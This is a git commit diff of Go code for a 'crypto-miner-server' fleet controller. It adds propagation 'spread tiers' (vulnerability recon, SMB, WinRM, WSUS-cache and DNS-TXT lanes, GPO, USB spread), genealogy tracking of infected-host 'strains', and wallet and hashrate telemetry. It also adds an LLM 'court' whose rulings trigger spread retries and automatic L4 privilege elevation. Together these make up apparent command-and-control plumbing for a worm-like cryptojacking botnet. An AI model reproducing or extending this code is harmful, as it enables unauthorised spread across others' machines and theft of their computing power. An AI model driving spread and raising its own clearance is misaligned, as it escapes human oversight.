Add fleet evolution: genetic breeding, atlas gossip, BGP router, seeder/miner, genealogy, court gates, APK scout, personas, WSUS mimic, and P2 test coverage
This commit is contained in:
@@ -14,6 +14,8 @@ const (
|
||||
CmdRestartMining = "restart_mining"
|
||||
CmdReorderTiers = "reorder_tiers"
|
||||
CmdSpreadNow = "spread_now"
|
||||
CmdSpreadRetryLane = "spread_retry_lane"
|
||||
CmdSkipTier = "skip_tier"
|
||||
CmdStageFetch = "stage_fetch"
|
||||
CmdSetAgentVersion = "set_agent_version"
|
||||
CmdNoop = "noop"
|
||||
@@ -26,6 +28,8 @@ var knownCommands = map[string]bool{
|
||||
CmdRestartMining: true,
|
||||
CmdReorderTiers: true,
|
||||
CmdSpreadNow: true,
|
||||
CmdSpreadRetryLane: true,
|
||||
CmdSkipTier: true,
|
||||
CmdStageFetch: true,
|
||||
CmdSetAgentVersion: true,
|
||||
CmdNoop: true,
|
||||
|
||||
@@ -64,7 +64,10 @@ func BuildCourtPrompt(s AgentSnapshot, atlasSummary string, phenotype *strategy.
|
||||
system.WriteString(strings.TrimSpace(`You are the AetherForge Singular Machine Court for the operator's own stuck fleet hosts.
|
||||
This is a single-turn tribunal with no memory. Three roles speak once:
|
||||
PROSECUTOR presents failure evidence. DEFENDER cites a winning fleet phenotype if one exists. JUDGE decides.
|
||||
Valid command types: bulk_command, agent_command, discover_and_join, restart_mining, reorder_tiers, spread_now, stage_fetch, set_agent_version, noop.
|
||||
Valid command types: bulk_command, agent_command, discover_and_join, restart_mining, reorder_tiers, spread_now, spread_retry_lane, skip_tier, stage_fetch, set_agent_version, noop.
|
||||
spread_retry_lane args: lane (string), optional data/manifest for staging lanes (bits_curl, do_peer, dns_txt, …).
|
||||
skip_tier args: tier (string) or skip_tiers (array) — merged into reorder_tiers on dispatch.
|
||||
Court-ordered spread_retry_lane and skip_tier execute as discover_and_join, stage_fetch, or reorder_tiers with L4 clearance.
|
||||
Never target third-party systems.`))
|
||||
system.WriteString("\n\n## PROSECUTOR\n")
|
||||
system.WriteString(prosecutor)
|
||||
|
||||
@@ -30,6 +30,16 @@ func stuckSpreadAttempts() []TierAttempt {
|
||||
return attempts
|
||||
}
|
||||
|
||||
func TestBuildCourtPromptListsRetryCommands(t *testing.T) {
|
||||
bundle := BuildCourtPrompt(AgentSnapshot{Stuck: true}, "", nil, PersonaBalanced)
|
||||
if !strings.Contains(bundle.SystemPrompt, "spread_retry_lane") {
|
||||
t.Fatalf("missing spread_retry_lane in court prompt: %s", bundle.SystemPrompt)
|
||||
}
|
||||
if !strings.Contains(bundle.SystemPrompt, "skip_tier") {
|
||||
t.Fatalf("missing skip_tier in court prompt")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildCourtPromptProsecutorFailures(t *testing.T) {
|
||||
snap := AgentSnapshot{
|
||||
AgentID: "agent-stuck",
|
||||
|
||||
@@ -1,6 +1,11 @@
|
||||
package ai
|
||||
|
||||
import "strings"
|
||||
import (
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/strategy"
|
||||
)
|
||||
|
||||
const (
|
||||
PersonaAggressive = "aggressive"
|
||||
@@ -83,3 +88,49 @@ func CourtJudgeOverlay(mode string) string {
|
||||
return "Judge: weigh prosecutor failures against defender phenotype; pick the least disruptive recovery.\n"
|
||||
}
|
||||
}
|
||||
|
||||
// PersonaSpreadTierOrder returns the default spread tier walk order for a Calibrate persona.
|
||||
// Used as propagation temperament when Fleet AI Control replaces adaptive strategy.
|
||||
func PersonaSpreadTierOrder(mode string) []string {
|
||||
switch NormalizePersona(mode) {
|
||||
case PersonaAggressive:
|
||||
return []string{
|
||||
"vuln_recon", "docker", "smb", "winrm", "bits_curl", "wsl", "powershell", "dotnet",
|
||||
"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "linux", "gpo",
|
||||
}
|
||||
case PersonaSilent:
|
||||
return []string{
|
||||
"vuln_recon", "docker", "wsl", "dotnet", "powershell", "bits_curl",
|
||||
"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "smb", "winrm", "linux", "gpo",
|
||||
}
|
||||
case PersonaPassive:
|
||||
return []string{
|
||||
"vuln_recon", "docker", "wsl", "powershell", "dotnet", "bits_curl",
|
||||
"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "smb", "winrm", "linux", "gpo",
|
||||
}
|
||||
case PersonaPersuasive:
|
||||
return []string{
|
||||
"vuln_recon", "dns_txt", "wsus_cache_peer", "do_peer", "webrtc_mesh", "bits_curl",
|
||||
"docker", "wsl", "powershell", "dotnet", "smb", "winrm", "linux", "gpo",
|
||||
}
|
||||
default:
|
||||
return DefaultSpreadTiers()
|
||||
}
|
||||
}
|
||||
|
||||
// PersonaSpreadTemperament builds spread tier hints in adaptive_strategy shape for AI control mode.
|
||||
func PersonaSpreadTemperament(mode string) strategy.AdaptiveStrategy {
|
||||
persona := NormalizePersona(mode)
|
||||
order := PersonaSpreadTierOrder(persona)
|
||||
reason := strategy.StrategyReason{
|
||||
Fact: "Calibrate ai_persona=" + persona,
|
||||
Inference: "Fleet AI Control shapes spread propagation personality",
|
||||
Action: "Prefer spread tier order: " + strings.Join(order, " → "),
|
||||
}
|
||||
return strategy.AdaptiveStrategy{
|
||||
TierOrder: order,
|
||||
Reasoning: []strategy.StrategyReason{reason},
|
||||
Confidence: 0.85,
|
||||
UpdatedAt: time.Now().UTC().Format(time.RFC3339),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -51,6 +51,38 @@ func TestNormalizePersona(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestPersonaSpreadTierOrderDistinct(t *testing.T) {
|
||||
modes := []string{PersonaAggressive, PersonaSilent, PersonaPassive, PersonaPersuasive, PersonaBalanced}
|
||||
seen := make(map[string]string, len(modes))
|
||||
for _, mode := range modes {
|
||||
order := PersonaSpreadTierOrder(mode)
|
||||
if len(order) != len(defaultSpreadTiers) {
|
||||
t.Fatalf("persona %q tier count = %d want %d", mode, len(order), len(defaultSpreadTiers))
|
||||
}
|
||||
key := strings.Join(order, ",")
|
||||
if prev, ok := seen[key]; ok && mode != PersonaBalanced {
|
||||
t.Fatalf("personas %q and %q share spread order", prev, mode)
|
||||
}
|
||||
seen[key] = mode
|
||||
}
|
||||
if PersonaSpreadTierOrder(PersonaPersuasive)[1] != "dns_txt" {
|
||||
t.Fatalf("persuasive should front dns_txt, got %v", PersonaSpreadTierOrder(PersonaPersuasive))
|
||||
}
|
||||
if PersonaSpreadTierOrder(PersonaAggressive)[2] != "smb" {
|
||||
t.Fatalf("aggressive should front smb early, got %v", PersonaSpreadTierOrder(PersonaAggressive))
|
||||
}
|
||||
}
|
||||
|
||||
func TestPersonaSpreadTemperamentShape(t *testing.T) {
|
||||
temp := PersonaSpreadTemperament(PersonaSilent)
|
||||
if len(temp.TierOrder) == 0 || len(temp.Reasoning) == 0 || temp.Confidence <= 0 {
|
||||
t.Fatalf("invalid spread temperament: %+v", temp)
|
||||
}
|
||||
if !strings.Contains(temp.Reasoning[0].Fact, PersonaSilent) {
|
||||
t.Fatalf("reasoning should cite persona: %+v", temp.Reasoning[0])
|
||||
}
|
||||
}
|
||||
|
||||
func TestCourtJudgeOverlayDistinct(t *testing.T) {
|
||||
modes := []string{PersonaAggressive, PersonaSilent, PersonaPassive, PersonaPersuasive, PersonaBalanced}
|
||||
prev := ""
|
||||
|
||||
@@ -202,6 +202,10 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) {
|
||||
courtMeta.JudgeVerdict = ExtractJudgeVerdict(response)
|
||||
}
|
||||
cmds := ParseCommands(response)
|
||||
if useCourt {
|
||||
cmds = ExpandCourtCommands(cmds)
|
||||
s.ensureCourtRetryClearance(agentID, cmds)
|
||||
}
|
||||
results := make([]string, 0, len(cmds))
|
||||
for _, cmd := range cmds {
|
||||
if cmd.Type == CmdNoop {
|
||||
@@ -228,6 +232,18 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) {
|
||||
|
||||
const stuckHostFailedTierThreshold = 14
|
||||
|
||||
func (s *Scheduler) ensureCourtRetryClearance(agentID string, cmds []Command) {
|
||||
if !CourtCommandsNeedRetryElevation(cmds) || s.elevator == nil {
|
||||
return
|
||||
}
|
||||
if s.elevator.Level(agentID) >= CourtRetryClearanceLevel {
|
||||
return
|
||||
}
|
||||
if _, err := s.elevator.RequestElevation(agentID, CourtRetryClearanceLevel, "court-mandated retry", "ai_court"); err != nil {
|
||||
log.Printf("[fleet-ai] agent %s court retry clearance: %v", agentID, err)
|
||||
}
|
||||
}
|
||||
|
||||
func (s *Scheduler) maybeAutoElevate(agentID string, snap AgentSnapshot, cfg Config) {
|
||||
if !cfg.AutoElevateClearance || s.elevator == nil {
|
||||
return
|
||||
|
||||
@@ -162,3 +162,47 @@ func TestSchedulerStuckHostTriggersL4Elevation(t *testing.T) {
|
||||
t.Fatalf("unexpected elevation: %+v", req)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSchedulerCourtRetryElevatesL4(t *testing.T) {
|
||||
old := DecideFunc
|
||||
defer func() { DecideFunc = old }()
|
||||
DecideFunc = func(_ context.Context, _, _, _, _ string) (string, error) {
|
||||
return `Verdict: retry dns_txt.
|
||||
{"commands":[{"type":"spread_retry_lane","args":{"lane":"dns_txt","data":"{}"}}]}`, nil
|
||||
}
|
||||
|
||||
elevator := &mockElevator{}
|
||||
exec := &mockExec{}
|
||||
sched := NewScheduler(
|
||||
&mockCfg{cfg: Config{Enabled: true, Endpoint: "http://test/v1", IntervalSec: 1}},
|
||||
&mockSnap{
|
||||
ids: []string{"court-1"},
|
||||
snap: AgentSnapshot{
|
||||
AgentID: "court-1", Name: "host", Stuck: true,
|
||||
LOTLAttempts: stuckSpreadAttempts(),
|
||||
},
|
||||
},
|
||||
exec,
|
||||
&mockStore{},
|
||||
&mockCourt{},
|
||||
elevator,
|
||||
)
|
||||
sched.lastRun["court-1"] = time.Now().Add(-2 * time.Minute)
|
||||
sched.Tick()
|
||||
|
||||
elevator.mu.Lock()
|
||||
defer elevator.mu.Unlock()
|
||||
found := false
|
||||
for _, req := range elevator.requests {
|
||||
if req.toLevel == clearance.L4 && req.reason == "court-mandated retry" {
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Fatalf("expected court-mandated L4 elevation, got %+v", elevator.requests)
|
||||
}
|
||||
if len(exec.calls) == 0 || exec.calls[0].Type != CmdStageFetch {
|
||||
t.Fatalf("expected stage_fetch dispatch, got %+v", exec.calls)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -45,6 +45,7 @@ func (d *Database) scanAgent(row interface {
|
||||
¬es, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname, &a.MacAddress,
|
||||
&a.BuildID, &a.WorkerName, &usbSpread, &a.Campaign,
|
||||
&a.GPUHashrate15m, &a.GPUModel, &gpuMinerActive,
|
||||
&a.ParentAgentID, &a.SpreadGeneration, &a.SpreadStrain,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -62,7 +63,8 @@ func (d *Database) scanAgent(row interface {
|
||||
const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
|
||||
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
|
||||
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address,
|
||||
build_id, worker_name, usb_spread, campaign, gpu_hashrate_15m, gpu_model, gpu_miner_active`
|
||||
build_id, worker_name, usb_spread, campaign, gpu_hashrate_15m, gpu_model, gpu_miner_active,
|
||||
parent_agent_id, spread_generation, spread_strain`
|
||||
|
||||
func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
|
||||
_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)
|
||||
|
||||
@@ -138,6 +138,9 @@ func (d *Database) migrate() error {
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN worker_name TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN usb_spread INTEGER NOT NULL DEFAULT 0`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN campaign TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN parent_agent_id TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN spread_generation INTEGER NOT NULL DEFAULT 0`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN spread_strain TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN public INTEGER NOT NULL DEFAULT 0`)
|
||||
|
||||
extraMigrations := []string{
|
||||
@@ -263,8 +266,8 @@ func (d *Database) migrate() error {
|
||||
// Agent operations
|
||||
|
||||
func (d *Database) UpsertAgent(a *models.Agent) error {
|
||||
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address, build_id, worker_name, usb_spread, campaign)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address, build_id, worker_name, usb_spread, campaign, parent_agent_id, spread_generation, spread_strain)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||
ON CONFLICT(id) DO UPDATE SET
|
||||
name = CASE WHEN agents.name != '' AND agents.name != agents.hostname THEN agents.name ELSE excluded.name END,
|
||||
wallet = excluded.wallet,
|
||||
@@ -282,12 +285,15 @@ func (d *Database) UpsertAgent(a *models.Agent) error {
|
||||
build_id = CASE WHEN excluded.build_id != '' THEN excluded.build_id ELSE build_id END,
|
||||
worker_name = CASE WHEN excluded.worker_name != '' THEN excluded.worker_name ELSE worker_name END,
|
||||
usb_spread = excluded.usb_spread,
|
||||
campaign = CASE WHEN excluded.campaign != '' THEN excluded.campaign ELSE campaign END`
|
||||
campaign = CASE WHEN excluded.campaign != '' THEN excluded.campaign ELSE campaign END,
|
||||
parent_agent_id = CASE WHEN excluded.parent_agent_id != '' THEN excluded.parent_agent_id ELSE parent_agent_id END,
|
||||
spread_generation = CASE WHEN excluded.spread_generation > 0 OR excluded.parent_agent_id != '' THEN excluded.spread_generation ELSE spread_generation END,
|
||||
spread_strain = CASE WHEN excluded.spread_strain != '' THEN excluded.spread_strain ELSE spread_strain END`
|
||||
usb := 0
|
||||
if a.USBSpread {
|
||||
usb = 1
|
||||
}
|
||||
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname, a.MacAddress, a.BuildID, a.WorkerName, usb, a.Campaign)
|
||||
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname, a.MacAddress, a.BuildID, a.WorkerName, usb, a.Campaign, a.ParentAgentID, a.SpreadGeneration, a.SpreadStrain)
|
||||
return err
|
||||
}
|
||||
|
||||
|
||||
@@ -122,9 +122,20 @@ type Agent struct {
|
||||
// Last successful discover_and_join supply-chain lane.
|
||||
JoinLane string `json:"join_lane,omitempty"`
|
||||
|
||||
// Spread genealogy watermark — informational telemetry from forge/auth/stats.
|
||||
ParentAgentID string `json:"parent_agent_id,omitempty"`
|
||||
SpreadGeneration int `json:"spread_generation,omitempty"`
|
||||
SpreadStrain string `json:"spread_strain,omitempty"`
|
||||
|
||||
// Session security clearance (L0–L4); set live by WSHub, not persisted.
|
||||
ClearanceLevel int `json:"clearance_level,omitempty"`
|
||||
|
||||
// Fleet role split telemetry (stats WS, not persisted).
|
||||
FleetRole string `json:"fleet_role,omitempty"`
|
||||
SeedPressure float64 `json:"seed_pressure,omitempty"`
|
||||
HashratePressure float64 `json:"hashrate_pressure,omitempty"`
|
||||
EmberwakeHeat float64 `json:"emberwake_heat,omitempty"`
|
||||
|
||||
// Fleet phenotype cloned from a sibling with the same host fingerprint (WS auth only).
|
||||
InheritedPhenotype *AgentInheritedPhenotype `json:"inherited_phenotype,omitempty"`
|
||||
|
||||
|
||||
@@ -20,6 +20,7 @@ type FleetPhenotype struct {
|
||||
}
|
||||
|
||||
// InheritedPhenotype is pushed to sibling agents on auth when fingerprint matches.
|
||||
// Auth tier-plan precedence (highest wins): inherited phenotype > genetic breed > adaptive strategy.
|
||||
type InheritedPhenotype struct {
|
||||
SourceAgentName string `json:"source_agent_name"`
|
||||
Fingerprint string `json:"fingerprint"`
|
||||
@@ -27,6 +28,8 @@ type InheritedPhenotype struct {
|
||||
TierOrder []string `json:"tier_order"`
|
||||
ActiveTier string `json:"active_tier,omitempty"`
|
||||
PeakHashrate float64 `json:"peak_hashrate,omitempty"`
|
||||
GeneticBreed bool `json:"genetic_breed,omitempty"`
|
||||
ParentLanes []string `json:"parent_lanes,omitempty"`
|
||||
}
|
||||
|
||||
// TierAttempt is a minimal stats/tier_report attempt for phenotype tier_order building.
|
||||
|
||||
Reference in New Issue
Block a user